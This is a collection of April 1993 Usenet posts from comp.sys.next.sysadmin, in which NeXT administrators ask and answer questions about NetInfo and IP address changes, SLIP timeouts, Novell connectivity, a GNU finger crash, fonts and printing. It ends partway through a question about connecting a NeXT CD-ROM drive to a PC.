Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: Geometry Center, University of Minnesota
References: <1993Apr16.122601.950@imagine.com>
Date: Fri, 16 Apr 1993 16:50:33 GMT
Try contacting Xedoc Software Development at (415)395-9440. You
can also reach J. Matthew Pryor via e-mail at "jmp@xedoc.com". We
had heard good things and were tempted, but decided the price was
greater than our need.
Scott
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From: root@azetsys.uucp (Operator)
Subject: Microphone-Pro locks-up
Message-ID: <1993Apr16.220213.275@azetsys.uucp>
Organization: CleverLever
Date: Fri, 16 Apr 1993 22:02:13 GMT
Hi,
This morning received Microphone-Pro from NextConnection, followed
installation instructions, and installed it, alas when I tried to run it
it locked-up the machine,( NS Turbo-mono NS 3.0), has anyone had similar
experiences?
Called tech-support, stayed on the phoneline for 40+minutes, at
my expense (NY >> LA, Ouch...) but they were not able to resolve the problem,
and promised that the programmer will call back next week.
Any ideas? Thanks, Geza.. azetsys!root@uunet.UU.NET
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From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Changing Internet Address
Organization: CYANTIC Systems
Date: Fri, 16 Apr 1993 17:19:35 GMT
Message-ID: <1993Apr16.171935.602@cyantic.com>
I just tried to change the internet address on my 3.0 TC.
I tried running the SimpleNetworkStarter and also tried modifying
/private/etc/hosts and /private/etc/hostconfig.
The system hung while booting after the portmapper started. Changing
the two files back to their original state brought the system back up.
What is the 'correct' way to change the TCP address of a system that has
been up and running?
What am I missing?
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From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Netinfo corruption - boot hangs
Organization: CYANTIC Systems
Date: Fri, 16 Apr 1993 19:26:59 GMT
Message-ID: <1993Apr16.192659.1117@cyantic.com>
Earlier I posted a note about changing the IP number on my 3.0 system.
I got by that bit of a hurdle, but came up against another problem.
Somehow I managed to reconfigure netinfo so that there is no local host
name available to netinfo. I tried to add it, but I must have messed
something up.
Now, the system boot hangs when it tries to run /usr/etc/nibindd in the
/private/etc/rc file, so I assume I've corrupted the netinfo database.
Any and all help will be appreciated.
If anyone is so inclined, please call collect at 416 533-4135.
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CYANTIC Systems Facsimile: (416) 234-0477
101 Subway Crescent Suite 2103 Email: mark@cyantic.com
From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.sysadmin
Subject: Setting timeout values in SLIP
Message-ID: <120955@netnews.upenn.edu>
Date: 16 Apr 93 21:40:39 GMT
Sender: news@netnews.upenn.edu
I'm using the DialupIP package on my client and server.
I found that the timeout values on my server were too low and were closing the
connection. Is there a way to set these values to infinity?
Also, can anyone recommend documentation for SLIP server configuration? Louis'
documentation is good for clients, but there is little on the server side. This
would answer a lot of questions for me.
-dave
From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.sysadmin
Subject: Integrating clusters
Message-ID: <120957@netnews.upenn.edu>
Date: 16 Apr 93 21:48:30 GMT
Sender: news@netnews.upenn.edu
Here's a riddle.
I need to start integrating clusters, meaning users on one want to be able to
login, have their home directory, read their mail, etc... from the other
cluster. I'm not interested in a three level domain at this time.
How to go about this.
A) I add a passwd entry for person A on cluster B
B) I mount their home directory from cluster A in /Net on cluster B. And make
this their home directory on cluster B.
C) Mail, how do I handle this? Their mail is spooled in /usr/spool/mail on
cluster A. I obviously can't mount this over /usr/spool/mail on cluster B. If I
mount it somewhere else, say /Net, their NextMail defaults will still point to
/usr/spool/mail.
Any ideas?
-dave
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Changing Internet Address
Date: 17 Apr 1993 00:08:36 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1qnhq4$372@agate.berkeley.edu>
References: <1993Apr16.171935.602@cyantic.com>
In article <1993Apr16.171935.602@cyantic.com> mark@cyantic.com (Mark T. Dornfeld) writes:
>I just tried to change the internet address on my 3.0 TC.
>I tried running the SimpleNetworkStarter and also tried modifying
>/private/etc/hosts and /private/etc/hostconfig.
>
>The system hung while booting after the portmapper started. Changing
>the two files back to their original state brought the system back up.
>
>What is the 'correct' way to change the TCP address of a system that has
>been up and running?
If you have more than one machine in a NetInfo network, things get
pretty complicated. I have just had an experience of moveing all
our NeXTs from one building to another which required reassignments
of all IP addresses. If you have "trusted_network" property set,
changing one machines IP address (subnet) on a running system may
cause hangs.
I did all the changes before the move on a running system, and at
the destination it was plug and play. Here's what I did.
The key is to make a copy of netinfo, run netinfod on the copy,
open the copied database using the "tagged domain" and edit it.
This way, you don't touch the netinfo that is being used.
[1] Get "niunparse" script written by Christopher Lane and dump the
NetInfo database to a text file. Browsing this file for IP numbers
tells you where they are stored. It's not just the machines directory
that has IP numbers. With the niunparse dump, you can find the ones
which are hidden (or at obscure places).
Do the following as root.
[2] Make a copy of /etc/netinfo by e.g.,
cd /etc
cp -r netinfo netinfo.new
[3] Run netinfod on the copy.
cd netinfo.new
mv local.nidb localnew.nidb
mv network.nidb networknew.nidb (if netinfo server)
netinfod localnew &
netinfod networknew &
[4] Using NetInfoManager.app, open "tagged" domains
localnew and networknew (if applicable) on localhost.
Change applicable IP numbers while looking at the
niunparse dump. Don't forget to change the subnet
if you have that stored under "trusted_networks"
property.
When done, save and quit NetInfoManager.
[I've heard many horror stories with SimpleNetworkStarter,
so I would avoid that like a plague.]
[5] Terminate netinfod's for the copy.
Do "ps ax" and find the PID's for localnew and networknew.
Do "kill -TERM <pid_of_netinfod_for_localnew>", and
"kill -TERM <pid_of_netinfod_for_networknew>" (if applicable).
[6] Rename back
mv localnew.nidb local.nidb
mv networknew.nidb network.nidb
[7] Reboot into single user (by halt, and "bsd -s" in monitor).
In single user mode, do:
cd /etc
mv netinfo netinfo.old
mv netinfo.new netinfo
[8] Repeat above for each machine.
[9] Move to new subnet and connect and boot as usual.
-----------------------------------------
The above was only for NetInfo. You must take care of
/etc/hostconfig separately. Changes for this should be
obvious.
If anybody has a simpler method, I am interested for future reference.
Hope this might help someone faced with moves of a cluster.
Just remember to do "cp -r /etc/netinfo /etc/netinfo.save" before
you do anything with NetInfo. You will be glad soon enough.
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USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: jmd@cube.handheld.com (Jim De Arras)
Newsgroups: comp.sys.next.sysadmin,comp.sys.novell
Subject: Netware 3.11/NeXT problem
Date: 17 Apr 1993 02:06:18 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <1qnomqINNcp@clem.handheld.com>
We just linked our network to another office that runs novell. We are trying to
use the novell servers from the NeXT
I can see the servers, I can log in, and see the files, but when I try to write
to a directory, that I have demonstraited write privs from a PC on, the NeXT
panics. Every NeXT in house. Even one that is on the same cable segment as
the novell servers, so we've ruled the brige out.
Does this sound familiar to anyone? Any ideas?
Jim
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that. But I can't do that by myself." Bill Clinton 6 April 93
From: clloyd@gleap (Charles C. Lloyd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Contents of LCK file?
Message-ID: <1993Apr16.091044.16157@gleap.jpunix.com>
Date: Fri, 16 Apr 1993 09:10:44 GMT
References: <hwr.734860389@snert.ka.sub.org>
Sender: clloyd@gleap.jpunix.com
Organization: GiantLeap Software
Heiko W.Rupp writes
> clloyd@gleap (Charles C. Lloyd) writes:
>
In comp.sys.next.sysadmin article <hwr.734860389@snert.ka.sub.org> you wrote:
> clloyd@gleap (Charles C. Lloyd) writes:
>
> >Does anybody know how to manually create a valid uucp/LCK/LCK..* file?
>
Thanks to everyone who replied. It is the PID that's stored and it is true
that the process which creates the file must be around for the lock to be in
effect.
I have written a gui which allows me to lock the modem manually (without using
tip) for a period of time while I'm on the phone. This is real convenient for
those of us who use a single line for data and voice and have a problem getting
cut off by outgoing modem traffic. I have posted it to sonata (via
mail-server), but I have already made some changes/fixes, so wait a few days
before grabbing it.
Charles.
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From: jeffh@victoria.umhc.umn.edu (Jeff Hallgren)
Subject: Re: Setting timeout values in SLIP
Message-ID: <C5Lz9z.3Ms@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
References: <120955@netnews.upenn.edu>
Date: Sat, 17 Apr 1993 03:34:10 GMT
In article <120955@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu (David Anstine)
writes:
> I'm using the DialupIP package on my client and server.
> I found that the timeout values on my server were too low and were closing the
> connection. Is there a way to set these values to infinity?
> Also, can anyone recommend documentation for SLIP server configuration? Louis'
> -dave
Assuming that the server is not dialing out, then the
/usr/dialupip/config/slipsrv.access file will never be consulted and you won't be
able to set a timeout in there.
I have the following in my /etc/rc.local file to set the timeouts as high as
possible.
# Run your own commands here
fbshow -A -B -E -I "Starting*SLIP*Configuration..."
# Public domain SLIP (TransSys DialUp-IP by Louie Mamakos)
sh /usr/dialupip/config/rc.slip >/dev/console 2>&1
/usr/dialupip/bin/duioctl slip0 SATIMEO 9999999 SWTIMEO 9999999 >/dev/console
I'll send you my own "setting up the server side" notes separately as they
are .rtf and not real postable (minor edits to do first...).
Jeff
Jeff Hallgren
Email: jhall@tahiti.umhc.umn.edu
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From: jeffh@victoria.umhc.umn.edu (Jeff Hallgren)
Subject: Re: Setting timeout values in SLIP
Message-ID: <C5M0KH.4EF@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
References: <C5Lz9z.3Ms@news.cis.umn.edu>
Date: Sat, 17 Apr 1993 04:02:04 GMT
In article <C5Lz9z.3Ms@news.cis.umn.edu> jeffh@victoria.umhc.umn.edu (Jeff Hallgren)
writes:
> In article <120955@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu (David
Anstine)
writes:
> I'm using the DialupIP package on my client and server.
> I found that the timeout values on my server were too low and were closing the
> connection. Is there a way to set these values to infinity?
> -dave
I should also mention that doing the "Network Time Configuration" in
HostManager will cause NTP events frequently enough that you'll never timeout AND
(this is the cool thing) your clock will be fairly accurate!!
Jeff
Jeff Hallgren
Email: jhall@tahiti.umhc.umn.edu
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From: steve@fisher.bio.uci.edu (Steve Frank)
Subject: NeXT Printer Error: Cannot Connect to WindowServer
Message-ID: <2BCF8505.3922@news.service.uci.edu>
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Date: 17 Apr 93 04:18:13 GMT
I am trying to set up a NeXT printer on a netboot client. I know that
this increases network traffic, and printers are not usually attached to
clients.
My problem is (1) the printer is configured normally (comparing nidump
printcap for this and working printers), (2) it powers on when booting,
(3) the queue is filled when a job is sent to the printer, with the
appropriate files in the spool directory, but the following error message
is written to lpd-errs:
Apr 16 20:59:48 ficus Server:Local_Printer[182]: Cannot connect to
WindowServer. Sleeping.
Any suggestions?
----------------------------------------------------------
Steven Frank | Tel: 714-725-2244
Dept. of Ecology and | Fax: 714-725-2181
Evolutionary Biology | email: safrank@uci.edu
Univ. of California | bitnt: safrank@uci.bitnet
Irvine, CA 92717 |
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From: harit@kripalu.com
Subject: Re: netinfo for suns
Message-ID: <1993Apr16.184700.520@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
References: <1993Apr16.122601.950@imagine.com>
Date: Fri, 16 Apr 93 18:47:00 GMT
In article <1993Apr16.122601.950@imagine.com> wagner!beckers (Becki
Kain) writes:
> I've heard that you can buy netinfo for sparc stations. does
anyone know
> from whom? also, does it come for any other platforms?
>
> thank you
>
> beckers
> --
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> "oh boy oh boy oh boy" bauhaus nextmail welcome
In NeXTWorld XDEOC advertises NetInfo for Sun, Auspex, Solbourne, HP,
IBM RS, SGI, with Pyramid and DEC comming.
netinfo@xedoc.com.au is there email address.
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Kripalu Center
harit@kripalu.com
(413)448-3288
To: gnu-utils-bug@rutgers.edu
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin,gnu.utils.bug
Subject: problem with GNU finger-1.37 on NeXT
Message-ID: <121000@netnews.upenn.edu>
Date: 17 Apr 93 02:41:38 GMT
Followup-To: comp.sys.next.sysadmin
Organization: University of Pennsylvania
Distribution: world
Hi,
I'm having some serious problems with GNU finger 1.37 on our NeXT cluster.
The source compiled cleanly, and I made all the required changes to
inetd.conf and /etc/services (ie. the services in netinfo). Whenever I
try finger'ing I get these errors:
# /usr/local/bin/finger shuque
User Real Name What Idle TTY Host Console Location
shuque Shumon Huque 0:04 *p1 microsup (fire)
shuque Shumon Huque 0:12 *p0 boston (fire)
memory allocation error: attempt to free or realloc space not in heap
bad zone
IOT trap
Does anyone have any idea what the problem is? Is anyone using GNU finger
with NeXTs?
Thanks,
--Shumon Huque
Newsgroups: comp.sys.next.sysadmin
From: M_Carling@BlueRose.com (M Carling)
Subject: Re: netinfo for suns
Message-ID: <1993Apr16.182408.9939@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993Apr16.122601.950@imagine.com>
Distribution: na
Date: Fri, 16 Apr 1993 18:24:08 GMT
In article <1993Apr16.122601.950@imagine.com> wagner!beckers (Becki Kain)
writes:
> I've heard that you can buy netinfo for sparc stations. does anyone
know
> from whom? also, does it come for any other platforms?
Xedoc
netinfo@xedoc.com.au
It works with Sun, Auspex, Solbourne, HP 700 & 800, RS6000, and SGI.
M Carling
President, Bay Area NeXT Group
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From: gerben@rna.indiv.nluug.nl
Subject: PPP/SLIP
Message-ID: <1993Apr17.141344.24575@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Sat, 17 Apr 1993 14:13:44 GMT
Is there a PD SLIP/PPP package that works under NEXTSTEP? If not, what
commercial options are available?
--Gerben
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"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
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From: wching@csmt.music.yale.edu (William Ching)
Subject: Re: problem with GNU finger-1.37 on NeXT
Message-ID: <1993Apr17.191510.14181@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale School of Music, Center for Studies in Music Technology
References: <121000@netnews.upenn.edu>
Date: Sat, 17 Apr 1993 19:15:10 GMT
gnu-utils-bug@rutgers.edu wrote:
> Hi,
> I'm having some serious problems with GNU finger 1.37 on our NeXT cluster.
> The source compiled cleanly, and I made all the required changes to
> inetd.conf and /etc/services (ie. the services in netinfo). Whenever I
> try finger'ing I get these errors:
> # /usr/local/bin/finger shuque
> User Real Name What Idle TTY Host Console Location
> shuque Shumon Huque 0:04 *p1 microsup (fire)
> shuque Shumon Huque 0:12 *p0 boston (fire)
> memory allocation error: attempt to free or realloc space not in heap
> bad zone
> IOT trap
>[request for help deleted]
> --Shumon Huque
I installed gnu finger also, as detailed in the installation docs. I also get
the same error. However, it also seems that the fingerd daemon spontaneously
quits also, presumably due to a similar IOT (signal 6) error. I can't seem to
localize the source of the problem. Any help with this problem would be very
much appreciated.
Thanks,
WC
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Yale University Department of Music | Center for Studies in Music Technology
"To the insane the sane must seem insane"
To: gnu-utils-bug@rutgers.edu
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin,gnu.utils.bug
Subject: GNU finger 1.37 and NeXT (continued)
Message-ID: <121017@netnews.upenn.edu>
Date: 17 Apr 93 05:15:08 GMT
Followup-To: comp.sys.next.sysadmin,comp.sys.next.sysadmin,gnu.utils.bug
Organization: University of Pennsylvania
Distribution: world
Earlier I had written:
> Hi,
>
> I'm having some serious problems with GNU finger 1.37 on our NeXT cluster.
> The source compiled cleanly, and I made all the required changes to
> inetd.conf and /etc/services (ie. the services in netinfo). Whenever I
> try finger'ing I get these errors:
>
> # /usr/local/bin/finger shuque
> User Real Name What Idle TTY Host Console Location
> shuque Shumon Huque 0:04 *p1 microsup (fire)
> shuque Shumon Huque 0:12 *p0 boston (fire)
> memory allocation error: attempt to free or realloc space not in heap
> bad zone
> IOT trap
>
After stepping thru the source code with gdb, I find that the cause of the
problem is with the last calls to free() in finger.c:
> free (username);
>
> if (finger_server)
> free (finger_server);
>
> if (host)
> free (host);
>
>}
The error doesn't occur until the program has called exit(), so I can't tell
(ie. I don't know of a way to tell) which call(s) cause it. Commenting out
the calls causes everything to run just fine!
Obviously, the problem has something to do with Mach's zone based memory
allocation scheme, but I tread unfamiliar territory here ...
Perhaps someone can further enlighten me as to the cause and solution to
this. Perhaps there is some combination of compiler flags that would have
eliminated the problem in the first place.
Thanks,
--Shumon Huque
shuque@spectre.sas.upenn.edu
BTW, GNU finger is great, especially for typical NeXT environments, ie.
networks of single user workstations. I've used Carl's modified bsd fingerd
till now and that was great (thanks Carl!), but GNU provides distributed
finger service, which is ideal for us!
Newsgroups: comp.sys.next.sysadmin,comp.sys.novell
From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: Netware 3.11/NeXT problem
Message-ID: <1993Apr18.122444.10827@news.csuohio.edu>
Followup-To: comp.sys.next.sysadmin,comp.sys.novell
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
References: <1qnomqINNcp@clem.handheld.com>
Date: Sun, 18 Apr 1993 12:24:44 GMT
Jim De Arras (jmd@cube.handheld.com) wrote:
: We just linked our network to another office that runs novell. We are trying to
: use the novell servers from the NeXT
: I can see the servers, I can log in, and see the files, but when I try to write
: to a directory, that I have demonstraited write privs from a PC on, the NeXT
: panics. Every NeXT in house. Even one that is on the same cable segment as
: the novell servers, so we've ruled the brige out.
: Does this sound familiar to anyone? Any ideas?
: Jim
Yeah, this is what happens when you do not RTFM that came along with
the NS 3.0 release. You need to install the NetWare Unix Client (in
/usr/netware/lib) and the permissions have to be changed in both the
NetWare environment and on your NeXTs. Thenyou have to make sure your
tables are set on NetWare in sys:system so the user ids and Group Ids
are matched on both the NetWare environment and on the NeXT.
Read the manual and all will become clearer!
Cowboy
From: mehta-anand@yale.edu (Anand Mehta)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTTeX and New Font Selection Scheme
Date: 18 Apr 1993 11:07:09 -0400
Organization: Yale University, Science & Engineering Unix, New Haven, CT
Message-ID: <1qrqqtINNlco@MINERVA.CIS.YALE.EDU>
I'm trying ot get nfss working on my machine, but to no avail. I downloaded
the files and ran initex with the proper substitutions (lfonts.new, etc.) and
generated a new lplain.fmt.
Unfortunately, when using \documentstyle[newlfont]{paper} I get an error saying
that I cannot user newlfont.sty without nfss (!). Assuming that this means
that nfss is not installed, and I have no idea why this is so. I have
lplain-prenfss.fmt and lplain-nfss.fmt and neither (when renamed lplain.fmt)
solves the problem.
Does anyone know why I seem to be stuck with a non-nfss lplain.fmt even when I
have an apparently correctly generated lplain.fmt?
Thanks,
-Anand
Academic Computing Services
Yale University
mehta-anand@yale.edu
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: SGI -> NeXT printing
Message-ID: <1993Apr18.110459.1866@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
Date: Sun, 18 Apr 1993 11:04:59 GMT
A friend of mine has and ADB Color Turbo with printer and a Personal Iris.
He wants to transfer files created on the Silicon Graphics to his NeXT so
that he can send them off to bureaus who can accept Mac and PC disks, and
to print on his NeXT printer. He also would like to load files into
Diagram and Concurrence for slide making.
They are networed together, so he can grab files without any problems from
the Iris spool that are sent to a dummy generic PostScript printer, but
these won't print on the NeXT.
Can anyone suggest the best way to hook up these machines?
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 paull@cix.compulink.co.uk
Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin
From: root@pars.skidmore.edu (Operator)
Subject: Need new disktab and sector change help for HD
Message-ID: <1993Apr18.201737.14561@scott.skidmore.edu>
Keywords: help, disktab
Sender: news@scott.skidmore.edu (news manager)
Organization: Skidmore College, Saratoga Springs NY
Date: Sun, 18 Apr 1993 20:17:37 GMT
After some hard work, and with the help of a visiting expert (who is now
gone !), we have determined that our external gig disk needs to be
reformatted. It was sent to us formated for 71 sectors and we need it to
be only 37 sectors (according to my expert !). HELP ! Can anyone help me
out ? I'm only a simple music Prof. and therefore not fully versed in
Unix stuff, but I've been able to run the disk program and use fsck and
related programs. I'm told to use the "sense" program ( ??), or better
yet, to get a disktab file for a Micropolis 1598 and force mkfs to
reformat this thing using the new disktabe. Does anybody have a disktab
file I can use ? OR perhaps somebody has a nice simple (meaning
NeXT-ish interface) hard disk reformmating file. Of course, the NeXT's
"build disk" program doesn't work on this disk.
Any help would be greatly appreciated !
Anthony Holland
Skidmore College
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Integrating clusters
Message-ID: <C5pMwq.G38@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <120957@netnews.upenn.edu>
Date: Mon, 19 Apr 1993 02:57:48 GMT
anstine@uniblab.sas.upenn.edu (David Anstine) writes:
>Here's a riddle.
>I need to start integrating clusters, meaning users on one want to be able to
>login, have their home directory, read their mail, etc... from the other
>cluster. I'm not interested in a three level domain at this time.
You probably ought to be going to a 3-level, especially if these
'clusters' that already exist are on separate subnets. The 3-level
will give you the most flexibility.
>How to go about this.
>A) I add a passwd entry for person A on cluster B
This is more or less no big deal. If you are really dead set
against a 3-level, I suggest that you put all of the machines in one
top level (tagged network), with a clone server of the top-level
domain (tagged network) on each cluster's subnet. This is kind of
a strange thing to do, because the docs do really tend to steer you
towards one netinfo domain tagged 'network' per subnet. This falls
in line with the 3-level setup.
Of course, you can also always just manually go adding each person
to all of the clusters' servers if they are separate netinfo
subnets.
>B) I mount their home directory from cluster A in /Net on cluster B. And make
>this their home directory on cluster B.
This is fairly trivial as well, and doesn't matter how you set up
the netinfo stuff. It's an NFS problem.
>C) Mail, how do I handle this? Their mail is spooled in /usr/spool/mail on
>cluster A. I obviously can't mount this over /usr/spool/mail on cluster B. If I
>mount it somewhere else, say /Net, their NextMail defaults will still point to
>/usr/spool/mail.
Ugh. Mail will be a problem. Probably the best thing to do is to
identify *one* machine as 'mailhost' for all of the clusters. It
should have entries for every user on every cluster available to it.
(either locally in its netinfo database, or by having those user
accounts in a parent domain, which would happen if you did a 3-level
and had the accounts in the top-level domain)
Then, set up the sendmail's on every client to pass outgoing mail
via the mailhost, even if it's local.
Then, in your DNS, add a MX (mail exchanger) record for every client
you have that says 'send all mail to mailhost, not to the individual
client'.
Now, your mailhost will accept all mail and you don't have to worry
about the sendmails on individual hosts accessing mail spools at the
same time. mount /usr/spool/mail from the mailhost to every client,
and everything should work OK.
Sorry if this sounds really complicated, sometimes it's hard to
explain netinfo concepts in words without drawing pictures. If you
have questions, please feel free to e-mail me.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: need help with TransSys DialUp-IP.
Organization: Relayed-by-Sendmail
Date: Mon, 19 Apr 1993 04:56:30 GMT
Message-ID: <9304190456.AA19338@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
I was wondering if there was anyone out there that could help me
through the setup of this interface. I have it all in and wrote the
scripts but I need someone to talk with to help with any other little
things that I might miss. If anyone has used this, your help would
be greatly appreciated.
Please respond by mail if possible.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca
Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca
University of Western Ontario NeXT Mail accepted
>>> Developing in the NeXT generation <<<
****************************************************************************
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.marketplace
Subject: Recent NEXTSTEP and NeXT Partner Announcements
Date: 19 Apr 1993 21:59:28 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <1qv7c0$1r2@rosie.next.com>
For your information,
The following NEXTSTEP announcements were posted to the
comp.sys.next.advocacy newsgroup today:
1. Hewlett-Packard to Offer NEXTSTEP-Certified PC's
2. Data General to Deliver NEXTSTEP on DASHER II PC's
3. Dell Announces Plans to Offer Systems with NEXTSTEP
4. NEC Technologies to Provide NEC and NEXTSTEP Solutions
5. EPSON to Integrate NEXTSTEP with Progression NX
6. Ingram Micro and NeXT Sign National Distribution Agreement
7. Trident Data Systems Becomes NeXT Consulting Partner
8. PanCanadian Enters Strategic Alliance with NeXT
9. Comnetix Provides York University with NEXTSTEP-Based System;
System Will Handle All Undergraduate Admissions
10. Pencom to Provide Development Support for NeXTWORLD Expo
Exhibitors
Conrad Geiger
International NEXTSTEP User Group Program Manager
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: partially installed fonts
Message-ID: <1993Apr20.181102.18993@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Apr19.122320.3915@urz.unibas.ch>
Date: Tue, 20 Apr 1993 18:11:02 GMT
Robert Frank (frank@ifi.unibas.ch) wrote:
: A small problem with partially installed fonts.
:
: I tried to (automatically) install a font in ~/LocalLibrary/Fonts, but this
: failed, as the font was not available (my fault! I misplaced them).
:
: Now, whenever I do something that deals with fonts, I get a panel informing me
: that new fonts are to be included and that the process may take 120 seconds. It
: never succeeds, as the fonts arn't aroung (I didn't want them in the end).
: I tried deleting the ~/LocalLibrary/Fonts/.fontdictionary.new file, but it is
: regenerated every time.
:
: What am I missing. There has to be some other info floating around somewhere,
: but what?
: -Robert
try also removeing /LocalLibrary/Fonts/.afmcache and .fontlist
See also manpage for buildAFMdir and CacheAFMdata
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid)
Subject: fair market value for used slate
Message-ID: <1993Apr20.182252.8150@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Distribution: usa
Date: Tue, 20 Apr 1993 18:22:52 GMT
We have two NeXTstations with 105 MByte disk and 4 or 8 MByte RAM, no
color. The department wish to transfer them to another department at
fair market value, could anyone provide such an estimate please?
Thank you
Steen Hansen
Computer Specialist, Ohio State University
Newsgroups: comp.sys.next.sysadmin
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: Listserv for the NeXT?
Message-ID: <1993Apr20.204529.12945@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Tue, 20 Apr 1993 20:45:29 GMT
Anyone know where I can get a mailing list program for the NeXT? (something
like listserv would do pretty well, but I'm not sure if listserv works
on the NeXT or not)
Thanks,
shane
--
:::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!:::
: Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu :
: root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu :
:GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Workspace dying consistently...help..
Message-ID: <1993Apr20.141059.66518@cc.usu.edu>
Date: 20 Apr 93 14:10:59 MDT
Organization: Utah State University
I am experiencing some strange WorkSpace errors. I can't see anything obvious
as to why I am getting them so if anyone can shed some light on this I would
appreciate it.
I am exporting a directory ServerApps to the root domain and its mount point is
/Net. If in the workspace while logged in as root on a client machine and I
try to open this folder, workspace dies and loggs me out. I can access that
directory via the shell just fine and everything looks o.k., and I can access
that directory from a user account, and on the server under root. All of the
files in the directory are just normal apps, calculator, safetynet, etc. and
none of them have any strange file characteristics, ownerships, etc. that I can
see. So whats the problem? Is this a known bug in 3.0...if so, how do I get
around it? Its really not that big of a problem except I want to link the
applications in the server apps directory into each machines local apps as
root. Am I going about this all wrong? I have to have a local apps and a
server or shared apps because I have several programs with single licenses that
have to be installed on just one machine.
Any help would be greatly appreciated.
John Z.
slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
From: bvrotney@ADS.COM (Bill Vrotney)
Subject: Scan SCSI device after boot
Message-ID: <1993Apr20.231231.5359@ads.com>
Sender: usenet@ads.com (USENET News)
Organization: Advanced Decision Systems, Mtn. View, CA (415) 960-7300
Date: Tue, 20 Apr 1993 23:12:31 GMT
What is the easiest way to have a NeXTstation recognize a SCSI device that
is turned on AFTER the system is booted? Ie. it recognizes the device when
the system is booted but if the device is turned off when system is booted
it does not know about the device, and thus the problem is how to make it
recognize the device AFTER the system has already been running.
--
Bill Vrotney
BAH/Advanced Decision Systems
From: rhoadse@prism.CS.ORST.EDU (E. Robert Rhoads)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT CD-ROM drive and a PC
Message-ID: <1r33i1INN5e4@flop.ENGR.ORST.EDU>
Date: 21 Apr 93 09:18:57 GMT
Article-I.D.: flop.1r33i1INN5e4
Distribution: world
Organization: CS Dept, Oregon State University
Has anyone tried connecting the NeXT CD-ROM drive to a
PC? Would it work if one were to get an Adaptec SCSI
card? I've heard that the NeXT CD-ROM drive is made by
Sony, but does anyone know the model and compatibility?
What I was thinking of doing was taking a 386 PC slap
an Adaptec SCSI card into it and load BSDI's BSD/386
via the NeXT (SCSI) CD-ROM drive. This sounds good,
